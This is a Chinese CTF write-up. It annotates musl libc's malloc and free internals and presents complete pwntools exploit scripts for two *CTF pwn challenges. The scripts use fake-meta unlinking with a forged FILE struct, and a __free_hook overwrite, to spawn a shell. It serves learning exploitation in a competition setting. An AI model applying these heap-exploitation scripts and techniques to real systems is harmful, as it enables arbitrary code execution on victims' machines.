0%

musl源码阅读&*ctf前两道pwn

musl源码阅读&*ctf 前两道pwn

0x1 源码

0x1.1 重要结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
truct chunk{
char prev_user_data[];
uint8_t idx; //第5bit为idx第几个chunk
uint16_t offset; //与group的偏移
char data[];
};

struct group {
struct meta *meta;// meta的地址
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];// 保证0x10字节对齐
unsigned char storage[];# chunk
};

struct meta {
struct meta *prev, *next;//双向链表
struct group *mem;// 这里指向管理的group 地址
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

struct malloc_context {
uint64_t secret;// 和meta_area 头的check 是同一个值 就是校验值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;//是否初始化标记
unsigned mmap_counter;// 记录有多少mmap 的内存的数量
struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表
struct meta *avail_meta;//指向可用meta数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];// 记录着可用的meta
size_t u sage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

这是一个映射关系,meta.sizeclass就是这个size_classes的下标,通过这个下标
把对应值取出来然后*0x10就是这个meta管理的slot的大小了,同时malloc_context.active
也是这个映射关系
onst uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

0x1.2 free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void free(void *p)
{
if (!p) return;
//通过chunkp得到对应的meta
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);//得到这个meta管理的group的slot的size
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
//*start = g->mem->storage(得到group中第一个chunk地址) + stride*idx(加上对应chunk偏移);
// start 就为对应p(chunk)的起始地址
// end 对应结束地址
get_nominal_size(p, end);
//self得到bitmap对应的位置,all是得到bitmap全是1的数
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
//把offsset设置为0xff,把idx清零
((unsigned char *)p)[-3] = 255;
*(uint16_t *)((char *)p-2) = 0;
//没看懂在干啥
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
//mask中为1代表未分配或者已分配且已free的chunk,
//为0代表已分配但还没free的cuhnk
uint32_t mask = freed | avail;
//防止doublefree
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}
wrlock();
//nontrivial_free是关键的函数
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
//进入这个条件的情况有两种
//1:只有一个chunk被分配且这个chunk正是要被free的chunk
//2:除了一个chunk其余全被free,q且这个chunk正是要被free的chunk
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;
//freeable=1根据源码 代表meta否可以被回收 freeable=0 代表不可以 =1 代表可以
if (!g->freeable) return 0;
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;

if (!g->maplen) return 1;
//要fake_meta完成指针互相,那这个条件天然满足
if (g->next != g) return 1;

if (!is_bouncing(sc)) return 1;

size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];
if (9*cnt <= usage && cnt < 20)
return 1;
return 0;
}

这个函数会检查chunk,group,meta和meta_area结构体,比较重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));//十六字节对齐
//获取slot的偏移offset,offset*0x10是真实偏移
int offset = *(const uint16_t *)(p - 2);
//获取这个slot的idx
int index = get_slot_index(p);
//检查chunk的往前数第四个字节是否为0,不为0抛出异常
//这个字节是判断chunk是否被溢出的标志位。
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
//通过offset获取group的首地址
const struct group *base = (const void *)(p - 0x10*offset - 0x10);
//获取meta地址,group的前八个字节是指向meta结构的地址
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index <= meta->last_idx);
//如果这个chunk没有被使用就分配就会抛出异常
assert(!(meta->avail_mask & (1u<<index)));
//如果这个chunk被free过再进行free就会抛出异常
assert(!(meta->freed_mask & (1u<<index)));
//通过meta得到meta_area
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//对这个meta_area进行检查
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}

完成指针互写的关键函数

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

0x1.2 利用思路

1.在free的时候dequeue函数脱链检查不严格,可以利用这一点伪造meta进行指针互写

2.在完成第一步以后,被伪造的meta就会被free掉,下次malloc申请meta的时候queue就会申请到fak)meta,所以可以结合dequeue和queue进行任意地址申请

3.一般的攻击目标就是io结构,也就是fsop,只要能控制stdout stdin或者stderr其中一个结构体,令其flags为’/bin/sh’,write指针为’system’就可以完成getshell,究其原因就是exit会对io结构进行清理,代码如下,当然也可以控制std_uesd,这样只需要一次指针互写就可以做到,对io_file进行控制则比较麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
weak_alias(libc_exit_fini, __libc_exit_fini);

_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

0x2 babynote

就是利用stdout_used完成getshell,本来已经可以申请到io_file了,但是calloc会清零,破坏io_file,也没看懂官方wp是怎么绕过的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context.log_level='debug'
sh= process(["/home/rootzhang/musl/musl-1.2.2/build/lib/libc.so",'./pwn'])
#sh=remote("123.60.76.240",60001)
def add(name_size,name,note_size,note):
sh.sendlineafter("option: ","1")
sh.sendlineafter("name size: ",str(name_size))
sh.sendafter("name: ",name)
sh.sendlineafter("note size: ",str(note_size))
sh.sendafter("note content: ",note)

def free(name_size,name):
sh.sendlineafter("option: ","3")
sh.sendlineafter("name size: ",str(name_size))
sh.sendafter("name: ",name)

def find(name_size, name):
sh.sendlineafter("option: ", '2')
sh.sendlineafter("name size: ", str(name_size))
sh.sendafter("name: ", name)
def forget():
sh.sendlineafter("option: ", '4')
#gdb.attach(sh,"b *(0x7ffff7ff0000+0x1679)")
def exp():
add(0x40,'1\n',0x40,'1\n')
add(0x40,'2\n',0x28,'2\n')
add(0x40,'3\n',0x28,'3\n')
add(0x40,'4\n',0x28,'4\n')
add(0x40,'5\n',0x28,'5\n')
free(0x40,'1\n')
free(0x40,'2\n')
forget()
add(0x40,'6\n',0x28,'6'*0x28)
add(0x40,'7\n',0x28,'7\n')
free(0x40,'6\n')
add(0x40,'8\n',0x40,'8\n')
find(0x40,'6\n')
sh.recvuntil("0x28:")
m=sh.recv(12)
libc_addr=""
for i in range(6):
libc_addr+=m[(5-i)*2]+m[2*(5-i)+1]
libc_base=int(libc_addr,16)-0xcb0+0x1000
free(0x40,'8\n')
free(0x40,'7\n')
forget()
add(0x40,'\x09\n',0x28,'\x09'*0x28)
add(0x40,'\x0b\n',0x28,'\x0b\n')
free(0x40,'\x09\n')
malloc_content=libc_base+0x1aa0
fake_content=p64(libc_base-0x1000+0x50)+p64(malloc_content)+p64(1)+p64(0x28)+p64(0)
add(0x40,'\x0c\n',0x28,fake_content)
find(0x40,'\x00\n')
sh.recvuntil("0x28:")
m=sh.recv(16)
check=""
for i in range(8):
check+=m[(7-i)*2]+m[2*(7-i)+1]
check=int(check,16)
free(0x40,'\x0c\n')
free(0x40,'\x0b\n')
add(0x40,'\x0d\n',0x40,'\x0d\n')
add(0x40,'\x0e\n',0x28,'\x0e\n')
free(0x40,'\x0d\n')
free(0x40,'\x0e\n')
forget()
fake_mem_addr=libc_base-0xc000+0x1000+0x40
fake_meta_addr=libc_base-0xc000+0x1000+0x10
add(0x40,'\x0f\n',0x28,'\x0f\n')
stdout_addr=libc_base+0x12e0
stderr_addr=libc_base+0x10e0
stdout_use_addr=libc_base+0x1410
execve_addr=libc_base-0x259323
sc = 8
freeable = 1
last_idx = 0
maplen = 1
fake_meta = ''
fake_meta += p64(fake_mem_addr+0x10) # prev
fake_meta += p64(stdout_use_addr) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_mem=p64(fake_meta_addr)
fake_mem += p32(1)
fake_mem += p32(0)
fake_io='/bin/sh\x00'+'a' * 32+p64(0xdeadbeef) + 'x' * 8 + p64(0xbeefdead)+p64(execve_addr) + p64(execve_addr)
payload='\x00'*(0x1000-0x20)
payload+=p64(check)+p64(0)
payload+=fake_meta
payload+=fake_mem
payload+=fake_io
add(0x40,'\x10\n',0x2000,payload.ljust(0x2000,'\x00'))
add(0x40,'\x11\n',0x2000,'\x11\n')
free(0x40,'\x0f\n')
fake_content=p64(libc_base+0x48e0+0x10)+p64(fake_mem_addr+0x10)+p64(1)+p64(0x28)+p64(0)
add(0x40,'\x12\n',0x28,fake_content)
free(0x40,'\x35\n')
gdb.attach(sh)
sh.sendlineafter("option: ","5")
# free(0x40,'\x10\n')
# add(0x40,'\x13\n',0x80,'a\n')
# sc = 8
# last_idx=1
# payload=''
# payload+='\x00'*(0x1000-0x20-0x10)
# payload+=p64(check)+p64(0)
# payload+=p64(fake_meta_addr)+p64(fake_meta_addr)
# payload+=p64(stdout_addr-0x20-0x20)
# payload+=p32(1) + p32(0)
# payload+=p64((sc << 6) | last_idx)
# add(0x40,'\x14\n',0x2000,payload+'\n')
# add(0x40,'\x15\n',0x80,'ssss\n')
sh.interactive()
exp()

0x3 exam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')

def add_student(num_questions):
sh.recvuntil("choice>> ")
sh.sendline("1")
sh.recvuntil("enter the number of questions:")
sh.sendline(str(num_questions))

def give_sorce():
sh.recvuntil("choice>> ")
sh.sendline("2")

def write_review(i,idx,size,content='a'):
sh.recvuntil("choice>> ")
sh.sendline("3")
sh.recvuntil("which one? > ")
sh.sendline(str(idx))
if i==0:
sh.recvuntil("please input the size of comment: ")
sh.sendline(str(size))
sh.recvuntil("enter your comment:\n")
sh.send(content)

def free(idx):
sh.recvuntil("choice>> ")
sh.sendline("4")
sh.recvuntil("which student id to choose?")
sh.sendline(str(idx))

def change_role(i):
sh.recvuntil("choice>> ")
sh.sendline("5")
sh.recvuntil("role: <0.teacher/1.student>: ")
sh.sendline(str(i))

def set_mode(i,content,score=100):
sh.recvuntil("choice>> ")
sh.sendline("4")
if i==0:
sh.recvuntil("enter your mode!\n")
sh.send(content)
else:
sh.recvuntil("enter your pray score: 0 to 100\n")
sh.sendline(str(score))

def change_id(id):
sh.recvuntil("choice>> ")
sh.sendline('6')
sh.recvuntil("input your id: ")
sh.sendline(str(id))

def pray():
sh.recvuntil("choice>> ")
sh.sendline('3')

def check_review():
sh.recvuntil("choice>> ")
sh.sendline('2')

def check_review():
sh.recvuntil("choice>> ")
sh.sendline('2')

def get_addr():
sh.recvuntil("Good Job! Here is your reward! ")
m=int(sh.recv(14),16)
return m
def nptr_add(nptr):
sh.recvuntil("add 1 to wherever you want! addr: ")
sh.send(str(nptr))

duan='b *(0x7ffff7fc2000+{0})'.format(0x1E45)
#gdb.attach(sh,duan)
def exp():
sh.recvuntil("role: <0.teacher/1.student>: ")
sh.sendline('0')
add_student(1)
write_review(0,0,0x100,'/bin/sh\x00')
add_student(1)
write_review(0,1,0xa0)
add_student(1)
write_review(0,2,0x350)
add_student(1)
write_review(0,3,0xa0)
add_student(1)
write_review(0,4,0x20,'/bin/sh\x00')
change_role(1)
pray()
change_id(1)
pray()
change_id(2)
pray()
change_id(3)
pray()
change_id(4)
pray()
change_role(0)
give_sorce()
change_role(1)
check_review()
heap_base=get_addr()-0x2a0
nptr_add(heap_base+0x549)
change_role(0)
free(2)
change_role(1)
change_id(1)
check_review()
get_addr()
nptr_add(heap_base+0x441)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
free_malloc=libc_base+libc.sym["__free_hook"]
change_id(3)
check_review()
get_addr()
nptr_add(heap_base+0x8f1)
change_role(0)
pay='\x00'*0xa0+p64(0x460)+p64(0x30)+p64(heap_base+0x9e0)
pay+=p64(0)*2+p64(1)+p64(0)+p64(0x21)+p64(0xfffffff700000001)
pay+=p64(free_malloc)+p64(0x20)
write_review(1,3,0x1a0,pay)
write_review(1,4,0x20,p64(libc_base+0xe3b31))
gdb.attach(sh)
free(0)
sh.interactive()
exp()

0x4 总结

感觉自己有点流于形式了,在看pwn1的时候一看到calloc就想着怎么绕过,完全没考虑程序本身,哎,所以浪费了很多时间,现在看来是一道比较简单的题,所以一切都要以程序为本,切记切记。